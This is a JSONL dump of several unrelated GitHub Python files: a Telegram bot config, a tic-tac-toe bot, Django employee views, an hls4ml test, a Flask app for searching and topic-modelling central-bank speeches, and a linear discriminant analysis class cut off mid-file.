{"seq_id":"11852367118","text":"class Config(object):\n    LOGGER = True\n\n    BOT_TOKEN = \"\"\n    OWNER_ID = \"\"\n    OWNER_USERNAME = \"\"\n\n    WEBHOOK = False\n    PORT = 8443\n    URL = None\n    DONATION_LINK = \"\"\n    CERT_PATH = \"\"\n\n\nclass Release(Config):\n    LOGGER = False\n\n\nclass Debug(Config):\n    LOGGER = True\n","repo_name":"MrAlpha786/AlphaBot","sub_path":"alpha_bot/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"22789132389","text":"from player import Player\nfrom random import randint, randrange, choices, choice\n\n\nclass Bot(Player):\n    def __init__(self, symbol, field):\n        super().__init__(symbol, field)\n\n    def make_move(self):\n        free = []\n        for x in range(self.field.size):\n            for y in range(self.field.size):\n                if self.field.field[x][y] == ' ':\n                    free.append((x, y))\n        \"\"\" 1 вариант как доставать рандомный элемент\n        # random_id = randint(0, len(free) - 1)\n        random_id = randrange(0, len(free))\n        coords = free[random_id]\n        \"\"\"\n        \"\"\" 2 вариант\n        coords = choices(free)[0]\n        \"\"\"\n        # 3 вариант\n        coords = choice(free)\n        self.field.fill(coords, self.symbol)\n        print(f\"Bot puts {self.symbol} to cell ({coords[0]}, {coords[1]})\")\n","repo_name":"thesafatem/Python75","sub_path":"oop/tic-tac-toe/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4030597562","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom .models import Employee_detail\nfrom .forms import Employee_detailForm\nfrom django.utils import timezone\n\ndef employee_list(request):\n    detail=Employee_detail.objects.all()\n    return render(request,'employee/employee_list.html',{'detail':detail})\n\ndef employee_detail(request, pk):\n    emp_detail=get_object_or_404(Employee_detail, pk=pk)\n    return render(request,'employee/employee_detail.html',{'emp_detail': emp_detail})\n\ndef employee_new(request):\n    if request.method == \"POST\":\n        form = Employee_detailForm(request.POST)\n        if form.is_valid():\n            post = form.save(commit=False)\n            post.joined = timezone.now()\n            post.save()\n            return redirect('employee_detail', pk=post.pk)\n    else:\n        form = Employee_detailForm()\n    return render(request, 'employee/employee_create.html', {'form': form})\n\ndef employee_edit(request, pk):\n    post = get_object_or_404(Employee_detail, pk=pk)\n    if request.method==\"POST\":\n        form = Employee_detailForm(request.POST, instance=post)\n        if form.is_valid():\n            post = form.save(commit=False)\n            post.joined = timezone.now()\n            post.save()\n            return redirect('employee_detail', pk=post.pk)\n    else:\n        form = Employee_detailForm(instance=post)\n    return render(request, 'employee/employee_create.html', {'form': form})\n","repo_name":"Dilipsa/dilip_motors","sub_path":"employee/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10200771759","text":"import pytest\nimport hls4ml\nimport numpy as np\nfrom tensorflow.keras.models import model_from_json, Model\nfrom tensorflow.keras.layers import Input, Permute, Concatenate, Activation\nimport yaml\n\n@pytest.fixture(scope='module')\ndef data():\n    X = np.random.rand(100, 2, 3)\n    return X\n\n@pytest.fixture(scope='module')\ndef keras_model():\n    inp = Input(shape=(2, 3), name='input_1')\n    x = Permute((2, 1))(inp)\n    y = Concatenate(axis=1)([x, x])\n    x = Activation('relu', name='relu')(x)\n    out = Concatenate(axis=1)([x, y])\n    model = Model(inputs=inp, outputs=out)\n    return model\n\n@pytest.fixture      \n@pytest.mark.parametrize('io_type', ['io_parallel',\n                                     'io_stream'])\ndef hls_model(keras_model, io_type):\n    hls_config = hls4ml.utils.config_from_keras_model(keras_model, \n                                                      default_precision='ap_fixed<16,3,AP_RND_CONV,AP_SAT>',\n                                                      granularity='name')\n    hls_config['LayerName']['relu']['Precision'] = 'ap_ufixed<17,3>'\n    hls_model = hls4ml.converters.convert_from_keras_model(keras_model,\n                                                           hls_config=hls_config,\n                                                           io_type=io_type,\n                                                           output_dir='hls4mlprj_transpose_{}'.format(io_type))\n\n    hls_model.compile()\n    return hls_model\n\n@pytest.mark.parametrize('io_type', ['io_parallel', \n                                     'io_stream'])\ndef test_accuracy(data, keras_model, hls_model):\n    X = data\n    model = keras_model\n    # model under test predictions and accuracy\n    y_keras = model.predict(X)\n    y_hls4ml   = hls_model.predict(X).reshape(y_keras.shape)\n    # \"accuracy\" of hls4ml predictions vs keras\n    np.testing.assert_allclose(y_keras, y_hls4ml, rtol=0, atol=1e-04, verbose=True)\n","repo_name":"XLSMALL/Scripts","sub_path":"Initial_state_hls4ml/test/pytest/test_transpose_concat.py","file_name":"test_transpose_concat.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"836529368","text":"# Flask Web-Framework\nfrom flask import Flask, request\nfrom flask.templating import render_template\nfrom flask_sqlalchemy import SQLAlchemy\n\n# Standard Imports\nfrom datetime import datetime, timedelta\nimport os\nimport glob\nfrom random import randint, random\nimport math\nimport random\n\n# Plots\nimport matplotlib.pyplot as plt\n\n# Wordcloud\nfrom wordcloud import WordCloud\n\n# World Map\nfrom pycountry_convert import country_name_to_country_alpha2\nimport pygal\nfrom pygal.style import DarkStyle\n\n#Natural Language Processing\nimport spacy\nnlp = spacy.load('en_core_web_sm')\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.decomposition import LatentDirichletAllocation\n\n\n################\n# Config-Limits \n# (prevent server shutdowns. Can be set to high numbers when running local)\n#################\n\nkws_speeches_max = 200\nlda_speeches_max = 50\n\n\n\n# Initializing the app and databases\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///bis_cb_speches_db_20_21.db'\napp.config['SQLALCHEMY_BINDS'] = {\n        \"db2010\": \"sqlite:///bis_cb_speeches_db_10_clean.db\",\n        \"db2011\": \"sqlite:///bis_cb_speeches_db_11_clean.db\",\n        \"db2012\": \"sqlite:///bis_cb_speeches_db_12_clean.db\",\n        \"db2013\": \"sqlite:///bis_cb_speeches_db_13_clean.db\",\n        \"db2014\": \"sqlite:///bis_cb_speeches_db_14_clean.db\",\n        \"db2015\": \"sqlite:///bis_cb_speeches_db_15_clean.db\",\n        \"db2016\": \"sqlite:///bis_cb_speeches_db_16_clean.db\",\n        \"db2017\": \"sqlite:///bis_cb_speeches_db_17_clean.db\",\n        \"db2018\": \"sqlite:///bis_cb_speeches_db_18_clean.db\",\n        \"db2019\": \"sqlite:///bis_cb_speeches_db_19_clean.db\",\n        \"db2020\": \"sqlite:///bis_cb_speeches_db_20_clean.db\",\n        \"db2021\": \"sqlite:///bis_cb_speeches_db_21_clean.db\"}\ndb = SQLAlchemy(app)\n\n\n#####################################\n# Database Models for different years\n#####################################\n\nclass Speeches2010(db.Model):\n    __bind_key__ = \"db2010\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2011(db.Model):\n    __bind_key__ = \"db2011\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2012(db.Model):\n    __bind_key__ = \"db2012\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2013(db.Model):\n    __bind_key__ = \"db2013\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2014(db.Model):\n    __bind_key__ = \"db2014\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2015(db.Model):\n    __bind_key__ = \"db2015\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2016(db.Model):\n    __bind_key__ = \"db2016\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2017(db.Model):\n    __bind_key__ = \"db2017\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2018(db.Model):\n    __bind_key__ = \"db2018\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2019(db.Model):\n    __bind_key__ = \"db2019\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2020(db.Model):\n    __bind_key__ = \"db2020\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\nclass Speeches2021(db.Model):\n    __bind_key__ = \"db2021\"\n    \n    id = db.Column(db.String, primary_key=True)\n    date = db.Column(db.Integer)\n    author = db.Column(db.String)\n    country = db.Column(db.String)\n    title = db.Column(db.String)\n    pdf = db.Column(db.String)\n\n    def __repr__(self):\n        return '<Speech %r>' % self.id\n\n\n##########################\n# Custom defined functions\n##########################\n\ndef random_with_N_digits(n):\n    # Used for randomized Image Paths to prevent browsers from showing old, cached plots\n    range_start = 10**(n-1)\n    range_end = (10**n)-1\n    return randint(range_start, range_end)\n\n\ndef pagination(speeches):\n\n    # Seperating the list of speeches from the search to chunks\n\n    if len(speeches) > 25:\n        speeches = speeches[0:25]\n\n    speeches_list = []\n    for i in range(math.ceil(len(speeches)/5)):\n        ifive = i*5\n        speeches_list.append(speeches[ifive:ifive+5])\n    return speeches_list\n\n\ndef delete_old_wordclouds():\n    # Search for all old worldclouds and delete them\n\n    all_wordclouds = glob.glob(\"static/images/wordcloud*\")\n    for path in all_wordclouds:\n        os.remove(path)\n\n\ndef create_new_wordCloud(speeches):\n    # Generates a new wordcloud from a list of speeches, returns the file path\n\n    delete_old_wordclouds()\n    textt = \"empty empty empty results\"\n    for speech in speeches:\n        textt = textt + speech.pdf\n\n    wordcloud = WordCloud().generate(textt)\n    random_path = random_with_N_digits(5)\n    new_wordcloud_path = \"static/images/wordcloud\" + str(random_path) + \".png\"\n    wordcloud.to_file(new_wordcloud_path)\n    return new_wordcloud_path\n\n\ndef delete_old_timelines():\n    # Searches for all old timelines and deletes them\n\n    all_timelines = glob.glob(\"static/images/timeline*\")\n    for path in all_timelines:\n        os.remove(path)\n\n\ndef create_new_timeline(speeches, keyword):\n    # delete old timelines\n    delete_old_timelines()\n    plt.clf()\n    # Prepares the data for the plot\n    keys = []\n    values = []\n    for speech in speeches:\n        # add the date of the speech and the count of hits\n        keys.append(datetime.fromtimestamp(speech.date))\n        values.append(speech.pdf.upper().count(keyword.upper()))\n\n    # Plot creation and export\n    random_path = random_with_N_digits(5)\n    new_timeline_path = \"static/images/timeline\" + str(random_path) + \".png\"\n    plt.style.use(\"dark_background\")\n    plt.scatter(keys, values)\n    plt.savefig(new_timeline_path, bbox_inches='tight')\n\n    return new_timeline_path\n\n\ndef prepare_map_data(speeches, keyword):\n    # Counts the number of hits for every speech and every country\n\n    data = {}\n    data_alpha = {}\n    for speech in speeches:\n\n        # if this country already exists in the list the current hitcount gets added to the value\n        # if not it becomes a new entry\n        # 1 gets added to the speech count\n\n        if speech.country in data:\n            data[speech.country][0] += speech.pdf.upper().count(keyword.upper())\n            data[speech.country][1] += 1\n        else:\n            data[speech.country] = [0, 0]\n            data[speech.country][0] += speech.pdf.upper().count(keyword.upper())\n            data[speech.country][1] += 1\n\n    for country in data:\n        # Try to convert the country name into the Alpha2-Code\n        # If it is successfull the country and its hit code gets added to the list\n        # This list gets later passed to the Pygal Package to create the world map\n        # The other list is used for the display of the top 3 countries\n\n        try:\n            cn_a2_code = country_name_to_country_alpha2(country).lower() \n            data_alpha[cn_a2_code] = data[country][1]\n        except:\n            cn_a2_code = 'Unknown'\n         \n\n    return data, data_alpha\n\n\ndef delete_old_worldmaps():\n    # Search for old worldmaps and delete them\n\n    all_worldmaps = glob.glob(\"static/images/worldmap*\")\n    for path in all_worldmaps:\n        os.remove(path)\n\n\ndef create_new_worldmaps(speeches, keyword):\n\n    delete_old_worldmaps()\n\n    # clear matplot from previous data\n    plt.clf()\n\n    # Call Data-Prep-Function and save the results\n    dataDicts = prepare_map_data(speeches, keyword)\n    data = dataDicts[1]\n    top_countries = [(k, dataDicts[0][k]) for k in sorted(dataDicts[0], key=dataDicts[0].get, reverse=True)][0:3]\n    \n    # Create Pygal Map\n    worldmap = pygal.maps.world.World(style=DarkStyle)\n    worldmap.show_legend = False\n\n    # Add the data to the map\n    worldmap.title = 'Countries'\n    worldmap.add('Frequencies', data)\n\n    # Export as vector image\n    random_path = random_with_N_digits(5)\n    new_worldmap_path = \"static/images/worldmap\" + str(random_path) + \".svg\"\n    worldmap.render_to_file(new_worldmap_path)    \n\n    return new_worldmap_path, top_countries\n    \n\ndef query_database_all_area(keyword, area, start, end):\n\n    speeches = []\n\n    if not start > 1293750000 or end < 1263337200:\n        speeches.extend(Speeches2010.query.filter(Speeches2010.pdf.contains(\n            keyword)).filter(Speeches2010.date > start).filter(Speeches2010.date < end).order_by(Speeches2010.date).all())\n\n    if not start > 1325199600 or end < 1294095600:\n        speeches.extend(Speeches2011.query.filter(Speeches2011.pdf.contains(\n            keyword)).filter(Speeches2011.date > start).filter(Speeches2011.date < end).order_by(Speeches2011.date).all())\n\n    if not start > 1355958000 or end < 1325458800:\n        speeches.extend(Speeches2012.query.filter(Speeches2012.pdf.contains(\n            keyword)).filter(Speeches2012.date > start).filter(Speeches2012.date < end).order_by(Speeches2012.date).all())\n\n    if not start > 1388444400 or end < 1357167600:\n        speeches.extend(Speeches2013.query.filter(Speeches2013.pdf.contains(\n            keyword)).filter(Speeches2013.date > start).filter(Speeches2013.date < end).order_by(Speeches2013.date).all())\n\n    if not start > 1418598000 or end < 1388962800:\n        speeches.extend(Speeches2014.query.filter(Speeches2014.pdf.contains(\n            keyword)).filter(Speeches2014.date > start).filter(Speeches2014.date < end).order_by(Speeches2014.date).all())\n\n    if not start > 1451430000 or end < 1420758000:\n        speeches.extend(Speeches2015.query.filter(Speeches2015.pdf.contains(\n            keyword)).filter(Speeches2015.date > start).filter(Speeches2015.date < end).order_by(Speeches2015.date).all())\n\n    if not start > 1475186400 or end < 1452466800:\n        speeches.extend(Speeches2016.query.filter(Speeches2016.pdf.contains(\n            keyword)).filter(Speeches2016.date > start).filter(Speeches2016.date < end).order_by(Speeches2016.date).all())\n\n    if not start > 1514502000 or end < 1483657200:\n        speeches.extend(Speeches2017.query.filter(Speeches2017.pdf.contains(\n            keyword)).filter(Speeches2017.date > start).filter(Speeches2017.date < end).order_by(Speeches2017.date).all())\n\n    if not start > 1545606000 or end < 1514847600:\n        speeches.extend(Speeches2018.query.filter(Speeches2018.pdf.contains(\n            keyword)).filter(Speeches2018.date > start).filter(Speeches2018.date < end).order_by(Speeches2018.date).all())\n\n    if not start > 1577401200 or end < 1546815600:\n        speeches.extend(Speeches2019.query.filter(Speeches2019.pdf.contains(\n            keyword)).filter(Speeches2019.date > start).filter(Speeches2019.date < end).order_by(Speeches2019.date).all())\n\n    if not start > 1609282800 or end < 1578265200:\n        speeches.extend(Speeches2020.query.filter(Speeches2020.pdf.contains(\n            keyword)).filter(Speeches2020.date > start).filter(Speeches2020.date < end).order_by(Speeches2020.date).all())\n\n    if not start > 1626904800 or end < 1610060400:\n        speeches.extend(Speeches2021.query.filter(Speeches2021.pdf.contains(\n            keyword)).filter(Speeches2021.date > start).filter(Speeches2021.date < end).order_by(Speeches2021.date).all())\n\n    # If too many speeches are returned, a random sample is taken\n    # The size of this sample is defined at the start of the script\n    # List size gets reduced to prevent server shutdowns due to (free) hosting limitations\n\n    if len(speeches) > kws_speeches_max:\n        speeches = random.sample(speeches, kws_speeches_max)\n\n    speeches.sort(key=lambda speech: speech.date)\n    speeches.reverse()\n\n    return speeches\n\ndef query_database_area(keyword, area, start, end):\n    speeches = []\n\n    if not start > 1293750000 or end < 1263337200:\n        speeches.extend(Speeches2010.query.filter(Speeches2010.pdf.contains(\n            keyword)).filter(Speeches2010.date > start).filter(Speeches2010.date < end).filter(Speeches2010.country == area).order_by(Speeches2010.date).all())\n\n    if not start > 1325199600 or end < 1294095600:\n        speeches.extend(Speeches2011.query.filter(Speeches2011.pdf.contains(\n            keyword)).filter(Speeches2011.date > start).filter(Speeches2011.date < end).filter(Speeches2011.country == area).order_by(Speeches2011.date).all())\n\n    if not start > 1355958000 or end < 1325458800:\n        speeches.extend(Speeches2012.query.filter(Speeches2012.pdf.contains(\n            keyword)).filter(Speeches2012.date > start).filter(Speeches2012.date < end).filter(Speeches2012.country == area).order_by(Speeches2012.date).all())\n\n    if not start > 1388444400 or end < 1357167600:\n        speeches.extend(Speeches2013.query.filter(Speeches2013.pdf.contains(\n            keyword)).filter(Speeches2013.date > start).filter(Speeches2013.date < end).filter(Speeches2013.country == area).order_by(Speeches2013.date).all())\n\n    if not start > 1418598000 or end < 1388962800:\n        speeches.extend(Speeches2014.query.filter(Speeches2014.pdf.contains(\n            keyword)).filter(Speeches2014.date > start).filter(Speeches2014.date < end).filter(Speeches2014.country == area).order_by(Speeches2014.date).all())\n\n    if not start > 1451430000 or end < 1420758000:\n        speeches.extend(Speeches2015.query.filter(Speeches2015.pdf.contains(\n            keyword)).filter(Speeches2015.date > start).filter(Speeches2015.date < end).filter(Speeches2015.country == area).order_by(Speeches2015.date).all())\n\n    if not start > 1475186400 or end < 1452466800:\n        speeches.extend(Speeches2016.query.filter(Speeches2016.pdf.contains(\n            keyword)).filter(Speeches2016.date > start).filter(Speeches2016.date < end).filter(Speeches2016.country == area).order_by(Speeches2016.date).all())\n\n    if not start > 1514502000 or end < 1483657200:\n        speeches.extend(Speeches2017.query.filter(Speeches2017.pdf.contains(\n            keyword)).filter(Speeches2017.date > start).filter(Speeches2017.date < end).filter(Speeches2017.country == area).order_by(Speeches2017.date).all())\n\n    if not start > 1545606000 or end < 1514847600:\n        speeches.extend(Speeches2018.query.filter(Speeches2018.pdf.contains(\n            keyword)).filter(Speeches2018.date > start).filter(Speeches2018.date < end).filter(Speeches2018.country == area).order_by(Speeches2018.date).all())\n\n    if not start > 1577401200 or end < 1546815600:\n        speeches.extend(Speeches2019.query.filter(Speeches2019.pdf.contains(\n            keyword)).filter(Speeches2019.date > start).filter(Speeches2019.date < end).filter(Speeches2019.country == area).order_by(Speeches2019.date).all())\n\n    if not start > 1609282800 or end < 1578265200:\n        speeches.extend(Speeches2020.query.filter(Speeches2020.pdf.contains(\n            keyword)).filter(Speeches2020.date > start).filter(Speeches2020.date < end).filter(Speeches2020.country == area).order_by(Speeches2020.date).all())\n\n    if not start > 1626904800 or end < 1610060400:\n        speeches.extend(Speeches2021.query.filter(Speeches2021.pdf.contains(\n            keyword)).filter(Speeches2021.date > start).filter(Speeches2021.date < end).filter(Speeches2021.country == area).order_by(Speeches2021.date).all())\n\n    # If too many speeches are returned, a random sample is taken\n    # The size of this sample is defined at the start of the script\n    # List size gets reduced to prevent server shutdowns due to (free) hosting limitations\n\n    if len(speeches) > kws_speeches_max:\n        speeches = random.sample(speeches, kws_speeches_max)\n        \n    speeches.sort(key=lambda speech: speech.date)\n    speeches.reverse()\n    return speeches\n\ndef query_database(keyword=' ', area='all', start=(datetime.utcnow() - timedelta(days=30)).timestamp(), end=datetime.utcnow().timestamp()):\n\n    # Convert the inputs of the dates to date objects\n\n    try:\n        start = datetime.fromisoformat(start).timestamp()\n    except:\n        start = (datetime.utcnow() - timedelta(days=30)).timestamp()\n\n    try:\n        end = datetime.fromisoformat(end).timestamp()\n    except:\n        end = datetime.utcnow().timestamp()   \n\n    # Check for specified area to query, or all get queried\n\n    if area == 'all':\n        speeches = query_database_all_area(keyword, area, start, end)\n    else:\n        speeches = query_database_area(keyword, area, start, end)\n\n    return speeches\n\n# Date filter\n@app.template_filter('datefromint')\ndef format_date(int):\n    # Custom filter to format the date object\n    # Filter gets applied the jinja2-html template\n\n    date = datetime.fromtimestamp(int)\n    date_formatted = date.strftime('%d.%m.%Y')\n    return date_formatted\n\n\n################\n# Keyword Search\n################\n\n@app.route('/', methods=['POST', 'GET'])\ndef index():\n    if request.method == 'POST':\n        ################\n        # Search Request\n        ################\n\n        # Search parameters get collected\n        keyword = request.form['keyword']\n        area = request.form['area']\n        startdate = request.form['startdate']\n        enddate = request.form['enddate']\n\n        # Database query and pagination\n        speeches = query_database(keyword, area, startdate, enddate)\n        speeches_list = pagination(speeches)\n\n\n        # Plots and Maps creation\n        new_wordcloud_path = create_new_wordCloud(speeches)\n        new_timeline_path = create_new_timeline(speeches, keyword)\n        map_results = create_new_worldmaps(speeches, keyword)\n        new_worldmap_path = map_results[0]\n        top_countries = map_results[1]\n\n        img_paths = [new_wordcloud_path, new_timeline_path, new_worldmap_path]\n\n        return render_template('index.html', speeches_count=len(speeches), speeches=speeches_list, top_countries=top_countries, img_paths=img_paths)\n\n    if request.method == 'GET':\n        #####################\n        # Regular Pageload\n        #####################\n\n        # Results for default query (all areas, last 30 days)\n        speeches = query_database()\n        speeches_list = pagination(speeches)\n\n        # Wordcloud can be created without a keyword\n        new_wordcloud_path = create_new_wordCloud(speeches)\n\n        # Wordcloud gets shown as placeholders for other plots\n        img_paths = [new_wordcloud_path,\n                     new_wordcloud_path, new_wordcloud_path]\n\n        return render_template('index.html', speeches_count=len(speeches), speeches=speeches_list, img_paths=img_paths)\n\n    else:\n        # This case should never occur. Default query just in case\n\n        speeches = query_database()\n        return render_template('tour.html', speeches=speeches)\n\n\n################\n# Topic Modeling\n################\n\ndef delete_old_tm_results():\n    # Search for old scatterplots and delete them\n    all_tm_results = glob.glob(\"static/images/tm_results*\")\n    for path in all_tm_results:\n        os.remove(path)\n\ndef topic_modeling(speeches, num_comps):\n    if len(speeches) > lda_speeches_max:\n        speeches = random.sample(speeches, lda_speeches_max)        \n    # Setting up the Vectorizer\n    cv = CountVectorizer(max_df=0.8, min_df=0.01, stop_words='english')\n    dtm = cv.fit_transform([speech.pdf for speech in speeches])\n    LDA = LatentDirichletAllocation(n_components=num_comps)\n    LDA.fit(dtm)\n\n    # Get the 15 Top words for each Topic\n    topics = []\n    for i,topic in enumerate(LDA.components_):\n        topics.append([cv.get_feature_names()[index] for index in topic.argsort()[-15:]])\n    \n    # Prepare the Data for the Plot and overview\n    topic_results = LDA.transform(dtm)\n    color_names = ['tab:blue', 'tab:orange', 'tab:green', 'tab:red', 'tab:purple', 'tab:brown', 'tab:pink', 'tab:gray', 'tab:olive', 'tab:cyan']\n    x = []\n    y = []\n    colors = []\n    topic_counter = [0 for topic in enumerate(LDA.components_)]\n    \n    topic_percentages = [0 for topic in enumerate(LDA.components_)]\n    index = 0\n    for speech in speeches:\n        \n        # get the x value\n        x.append(datetime.fromtimestamp(speech.date))\n        # get the y value\n        y.append(topic_results[index][topic_results[index].argmax()])\n        # get the color (topic) and add one to the counter list for the topic\n        topic_index = topic_results[index].argmax()\n        colors.append(color_names[topic_index])\n        topic_counter[topic_index] += 1\n        index += 1\n        \n\n    # Count the counter lists, calculate the percentages and make them into a list. \n    sum = 0\n    for index in range(len(topic_counter)):\n        sum += topic_counter[index]\n    for index in range(len(topic_counter)):\n        topic_percentages[index] = round((topic_counter[index] / sum) * 100, 1)\n\n    # Sort the topics by their percentages\n    topwords_and_percentages = []\n    for index in range(len(topics)):\n        percentage = topic_percentages[index]\n        word_string = \" \".join(list(reversed(topics[index])))\n        # topwords_and_percentages.append([topic_percentages[index], list(reversed(topics[index]))])\n        topwords_and_percentages.append([percentage, word_string, index])\n\n    # Results in descending order\n    topwords_and_percentages.sort()\n    topwords_and_percentages.reverse()\n\n    # Create the plot\n    delete_old_tm_results()\n    plt.clf()\n    plt.style.use(\"dark_background\")\n    plt.scatter(x, y, c=colors, alpha=0.9)\n\n    # Export as image\n    random_path = random_with_N_digits(5)\n    new_tm_results_path = \"static/images/tm_results\" + str(random_path) + \".png\"\n    plt.savefig(new_tm_results_path, bbox_inches='tight')\n\n    return topwords_and_percentages, new_tm_results_path\n\n\n@app.route('/topicmodeling', methods=['POST', 'GET'])\ndef topicmodeling():\n    if request.method == 'POST':\n        ############\n        # TM-Request\n        ############\n\n        # Get request parameters\n        try:\n            number_topics = int(request.form['numbertopics'])\n        except:\n            number_topics = 3\n        area = request.form['area']        \n        startdate = request.form['startdate']\n        enddate = request.form['enddate']\n\n        # Query database\n        speeches = query_database(area=area, start=startdate, end=enddate)\n\n        # Topic Modeling\n        results = topic_modeling(speeches, num_comps=number_topics)\n        topics = results[0]\n        path = results[1]\n\n        return render_template('topicmodeling.html', speeches_count=len(speeches), topics=topics, path=path)\n\n    else:\n        # Regular page load\n        return render_template('topicmodeling.html')\n\n\n#############\n# Empty Pages\n#############\n@app.route('/tour', methods=['POST', 'GET'])\ndef tour():\n    if request.method == 'POST':\n        pass\n\n    else:\n        return render_template('tour.html')\n\n@app.route('/impressum', methods=['POST', 'GET'])\ndef impressum():\n    if request.method == 'POST':\n        pass\n\n    else:\n        return render_template('impressum.html')\n\n\n#############\n# Main script\n#############\n\nif __name__ == \"__main__\":\n    \n    # Start the app\n    app.run()\n","repo_name":"Dresselhouse/CEBATO","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":25307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11848595669","text":"import numpy as np\nfrom utils.utils import Utils\nimport pandas as pd\nimport sklearn.discriminant_analysis as disc\nfrom utils.graphics import Graphics\n\nclass LDA:\n    def __init__(self, t1, t2, categorical_mark, predictor_mark, predictor_var):\n        self.t1 = t1\n        self.t2 = t2\n        Utils.replace_na_df(self.t1)\n        Utils.replace_na_df(self.t2)\n\n        self.var = np.array(t1.columns)\n        print(self.var)\n        self.var_categorical = self.var[0:categorical_mark]\n        print(self.var_categorical)\n        Utils.code(self.t1, self.var_categorical)\n        Utils.code(self.t2, self.var_categorical)\n        print(self.t1)\n        print(self.t2)\n        # Select the predictor variables and the discriminant variable\n        self.var_p = self.var[0:predictor_mark]\n        self.var_c = predictor_var\n        print(self.var_p)\n        print(self.var_c)\n\n        self.x = self.t1[self.var_p].values\n        print(self.x)\n        self.y = self.t1[self.var_c].values\n        print(self.y)\n\n    def fit(self):\n        self.lda_model = disc.LinearDiscriminantAnalysis()\n        self.lda_model.fit(self.x, self.y)\n\n        self.class_setBase = self.lda_model.predict(self.x)\n        self.table_classificationB = pd.DataFrame(\n            data={str(self.var_c[0]): self.y, 'prediction': self.class_setBase},\n            index=self.t1.index)\n        self.tabel_clasificationB_err = self.table_classificationB[self.y != self.class_setBase]\n        self.n = len(self.y)\n        self.n_err = len(self.tabel_clasificationB_err)\n        self.degree_of_credence = (self.n - self.n_err) * 100 / self.n\n        return self\n\n    def apply(self):\n        self.class_setTest = self.lda_model.predict(self.t2[self.var_p].values)\n        table_of_classification = pd.DataFrame(\n            data={'prediction': self.class_setTest},\n            index=self.t2.index\n        )\n        self.g = self.lda_model.classes_\n        self.q = len(self.g)\n        self.mat_c = pd.DataFrame(data=np.zeros((self.q, self.q)), index=self.g, columns=self.g)\n        for i in range(self.n):\n            self.mat_c.loc[self.y[i], self.class_setBase[i]] += 1\n        accuracy_groups = np.diag(self.mat_c) * 100 / np.sum(self.mat_c, axis=1)\n        self.mat_c['Accuracy'] = accuracy_groups\n\n        # Instances on the first 2 axes of discrimination\n        self.u = self.lda_model.scalings_\n        self.z = self.x @ self.u\n        self.xc = self.lda_model.means_\n        self.zc = self.xc @ self.u\n        return self\n\n    def get_results(self):\n        return None\n\n    def visualise(self):\n        # Get the number of discriminant axes (number of columns in u)\n        r = np.shape(self.u)[1]\n        if r > 1:\n            Graphics.scatter_discriminant(self.z[:, 0], self.z[:, 1], self.y, self.t1.index, self.zc[:, 0], self.zc[:, 1], self.g)\n        for i in range(r):\n            Graphics.distribution(self.z[:, i], self.y, self.g, axis=i)\n        return self\n\n    def show(self):\n        